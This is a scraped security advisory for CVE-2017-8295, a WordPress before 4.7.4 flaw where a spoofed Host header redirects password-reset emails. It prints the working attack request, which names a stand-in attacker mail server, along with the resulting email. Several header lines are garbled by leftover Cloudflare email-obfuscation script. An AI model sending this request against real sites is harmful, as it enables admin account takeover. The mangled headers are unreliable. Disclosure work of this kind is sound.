WordPress < 4.7.4 - Unauthorized Password Reset

2017-05-03 12:05:01

=============================================
- Discovered by: Dawid Golunski
- dawid[at]legalhackers.com
- https://legalhackers.com

- CVE-2017-8295
- Release date: 03.05.2017
- Revision 1.0
- Severity: Medium/High
=============================================

Source: https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html

If an attacker sends a request similar to the one below to a default Wordpress
installation that is accessible by the IP address (IP-based vhost):

-----[ HTTP Request ]----

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

------------------------


Wordpress will trigger the password reset function for the admin user account.

Because of the modified HOST header, the SERVER_NAME will be set to
the hostname of attacker's choice.
As a result, Wordpress will pass the following headers and email body to the
/usr/bin/sendmail wrapper:


------[ resulting e-mail ]-----

Subject: [CompanyX WP] Password Reset
Return-Path: <<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="e5928a97819597809696a584919184868e809796c8889d968097938097cb868a88">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>>
From: WordPress <<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="45322a372135372036360524313124262e20373668283d3620373320376b262a28">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>>
Message-ID: <<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="4e2b78282a787f7a2d7b2a2a762f7f2d787e7a2a287c2f797d7c2b2c792c7e7f780e2f3a3a2f2d252b3c3d6323363d2b3c382b3c602d2123">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Someone requested that the password be reset for the following account:

http://companyX-wp/wp/wordpress/

Username: admin

If this was a mistake, just ignore this email and nothing will happen.

To reset your password, visit the following address:

<http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>

-------------------------------


As we can see, fields Return-Path, From, and Message-ID, all have the attacker's
domain set.


The verification of the headers can be performed by replacing /usr/sbin/sendmail with a
bash script of:

#!/bin/bash
cat > /tmp/outgoing-email

Fixes

No fixes

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